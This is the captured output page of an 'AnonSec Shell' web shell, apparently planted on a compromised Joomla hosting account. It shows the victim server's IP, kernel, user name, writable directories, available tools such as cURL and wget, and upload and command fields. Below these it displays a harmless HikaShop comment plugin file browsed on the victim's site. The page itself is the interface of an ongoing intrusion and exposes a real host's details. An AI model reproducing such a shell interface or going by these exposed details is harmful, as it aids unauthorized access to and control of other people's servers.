AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/plugins/hikashop/ccomment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/plugins/hikashop/ccomment/ccomment.php
<?php
/**
 * @package    CComment
 * @author     DanielDimitrov <daniel@compojoom.com>
 * @date       06.05.13
 *
 * @copyright  Copyright (C) 2008 - 2013 compojoom.com . All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die('Direct Access to this location is not allowed.');

/**
 * Class plgHikashopCcomment
 *
 * @since  5.0
 */
class PlgHikashopCcomment extends JPlugin
{
	/**
	 * Here we will init our comment system
	 *
	 * @param   object  &$view  - the view Object
	 *
	 * @return void
	 */
	public function onHikashopBeforeDisplayView(&$view)
	{
		$appl = JFactory::getApplication();

		// Show readmore for listings
		if ($appl->isSite() && $view->getLayout() == 'listing')
		{
			JLoader::discover('ccommentHelper', JPATH_SITE . '/components/com_comment/helpers');

			foreach ($view->rows as $k => $row)
			{
				// Add the category id as it is normally missing from the $row object
				if (empty($row->category_id))
				{
					$row->category_id = $view->element->category_id;
				}

				$comments = ccommentHelperUtils::commentInit('com_hikashop', $row);
				$view->rows[$k]->extraData->afterProductName[] = $comments;
			}
		}

		// Show comment form for products
		if ($appl->isSite() && $view->getLayout() == 'show')
		{
			JLoader::discover('ccommentHelper', JPATH_SITE . '/components/com_comment/helpers');
			$comments = ccommentHelperUtils::commentInit('com_hikashop', $view->element);
			$view->element->extraData->bottomEnd[] = $comments;
		}
	}
}

Anon7 - 2022
AnonSec Team